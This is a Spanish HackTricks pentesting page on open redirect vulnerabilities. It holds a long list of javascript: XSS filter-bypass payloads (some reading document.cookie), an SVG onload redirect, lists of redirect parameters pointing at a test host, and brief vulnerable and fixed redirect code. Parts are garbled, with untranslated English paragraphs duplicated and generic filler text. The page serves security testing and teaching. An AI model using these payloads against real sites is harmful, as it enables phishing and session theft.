hacktricks/pentesting-web/open-redirect.md

311 lines
14 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
# Redirección abierta
## Redirección a localhost o dominios arbitrarios
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
## Redirección abierta a XSS
```bash
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)
#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0
#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
```
# Redirección abierta al cargar archivos svg
## Descripción
La redirección abierta es una vulnerabilidad que permite a un atacante redirigir a la víctima a cualquier sitio web externo. Esta vulnerabilidad se produce cuando una aplicación web utiliza una entrada no validada para construir una URL que redirige a un sitio externo.
En este caso, la vulnerabilidad se produce al cargar archivos svg. Al cargar un archivo svg malicioso, un atacante puede aprovechar la vulnerabilidad de redirección abierta para redirigir a la víctima a un sitio web malicioso.
## Ejemplo
Supongamos que una aplicación web tiene una función de carga de archivos svg y utiliza una entrada no validada para construir la URL de la imagen. El código podría verse así:
```html
<img src="https://example.com/load_image.php?url=<%= params[:url] %>" />
```
En este caso, el parámetro `url` no está validado, lo que significa que un atacante puede proporcionar una URL maliciosa que redirigirá a la víctima a un sitio web malicioso. Por ejemplo, el atacante podría proporcionar la siguiente URL:
```
https://example.com/load_image.php?url=https://malicious.com
```
Cuando la víctima carga la página, se redirigirá automáticamente a `https://malicious.com`.
## Prevención
Para prevenir la vulnerabilidad de redirección abierta al cargar archivos svg, se deben seguir las siguientes prácticas recomendadas:
- Validar todas las entradas del usuario antes de utilizarlas para construir una URL.
- Utilizar una lista blanca de dominios permitidos para las URL de redirección.
- No permitir que los usuarios carguen archivos svg de fuentes no confiables.
- Utilizar una política de seguridad de contenido adecuada para evitar la ejecución de scripts maliciosos en archivos svg.
```markup
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
```
# Parámetros comunes de inyección
## Description
## Descripción
Open redirect vulnerabilities can be found in any web application that allows users to be redirected to external URLs. These vulnerabilities can be used by attackers to craft malicious links that, when clicked, redirect the user to a phishing site or a site hosting malware.
Las vulnerabilidades de redirección abierta se pueden encontrar en cualquier aplicación web que permita a los usuarios ser redirigidos a URLs externas. Estas vulnerabilidades pueden ser utilizadas por atacantes para crear enlaces maliciosos que, al hacer clic en ellos, redirigen al usuario a un sitio de phishing o a un sitio que aloja malware.
One common way to exploit open redirect vulnerabilities is to inject a malicious URL as a parameter in the application's redirect function. The following are some common injection parameters that can be used to test for open redirect vulnerabilities:
Una forma común de explotar las vulnerabilidades de redirección abierta es inyectar una URL maliciosa como parámetro en la función de redirección de la aplicación. A continuación se presentan algunos parámetros de inyección comunes que se pueden utilizar para probar las vulnerabilidades de redirección abierta:
- `url`
- `redirect`
- `return`
- `returnTo`
- `rurl`
- `dest`
- `destination`
- `redir`
- `redirect_uri`
- `redirect_url`
It's important to note that this is not an exhaustive list and that other parameters may also be vulnerable to open redirect attacks.
Es importante tener en cuenta que esta no es una lista exhaustiva y que otros parámetros también pueden ser vulnerables a ataques de redirección abierta.
```
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
```
# Ejemplos de código
### .Net
```bash
response.redirect("~/mysafe-subdomain/login.aspx")
```
### Java
### Descripción
Java es un lenguaje de programación orientado a objetos y multiplataforma. Es utilizado en una gran variedad de aplicaciones, desde aplicaciones de escritorio hasta aplicaciones web y móviles. Java es muy popular en el desarrollo de aplicaciones empresariales y es utilizado en muchos sistemas de backend.
### Vulnerabilidades
#### Open Redirect
Java también es vulnerable a la vulnerabilidad de Open Redirect. Esta vulnerabilidad permite a un atacante redirigir a un usuario a un sitio web malicioso a través de una URL manipulada. Esto puede ser utilizado para phishing o para redirigir a un usuario a un sitio web malicioso que contenga malware.
Para explotar esta vulnerabilidad, el atacante debe encontrar una página que tenga un parámetro de redirección que no esté validado adecuadamente. El atacante puede entonces manipular el valor del parámetro para redirigir al usuario a un sitio web malicioso.
#### Ejemplo
```
https://example.com/redirect?url=http://malicious-site.com
```
En este ejemplo, el parámetro `url` se utiliza para redirigir al usuario a una URL específica. Si el valor del parámetro no está validado adecuadamente, un atacante puede manipularlo para redirigir al usuario a un sitio web malicioso.
#### Prevención
Para prevenir la vulnerabilidad de Open Redirect, se debe validar adecuadamente cualquier entrada de usuario que se utilice para redirigir a un usuario a otra página. Esto puede incluir la validación de la URL de destino para asegurarse de que es un sitio web legítimo y la validación del dominio de la URL de destino para asegurarse de que es el dominio correcto.
```bash
response.redirect("http://mysafedomain.com");
```
### PHP
### Descripción
PHP es un lenguaje de programación de código abierto muy popular utilizado para el desarrollo de aplicaciones web. Es compatible con una amplia variedad de bases de datos y se ejecuta en la mayoría de los sistemas operativos.
### Vulnerabilidades
#### Redirección abierta
Una vulnerabilidad común en las aplicaciones web PHP es la redirección abierta. Esto ocurre cuando una aplicación permite que un usuario redirija a cualquier URL sin verificar si la URL es segura o no. Esto puede ser explotado por un atacante para redirigir a la víctima a un sitio malicioso.
Ejemplo:
```
<?php
$redirect_url = $_GET['url'];
header("Location: $redirect_url");
?>
```
En este ejemplo, el valor de `$_GET['url']` se utiliza para redirigir al usuario a la URL especificada. Si un atacante proporciona una URL maliciosa, la víctima será redirigida a ese sitio.
### Ejemplo de explotación
Supongamos que una aplicación PHP tiene una página de inicio de sesión que redirige al usuario a la página principal después de iniciar sesión. La URL de redirección se especifica en el parámetro `redirect_url` en la URL de inicio de sesión. Si la aplicación no valida la URL de redirección, un atacante podría proporcionar una URL maliciosa que redirigiría al usuario a un sitio malicioso después de iniciar sesión.
```
http://example.com/login.php?redirect_url=http://malicious-site.com
```
En este ejemplo, el atacante ha proporcionado una URL maliciosa que redirigirá al usuario a `http://malicious-site.com` después de iniciar sesión. Si la aplicación no valida la URL de redirección, el ataque tendrá éxito y la víctima será redirigida a un sitio malicioso.
```php
<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>
```
# Herramientas
* [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
# Recursos
En [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) puedes encontrar listas de fuzzing.\
[https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\
[https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>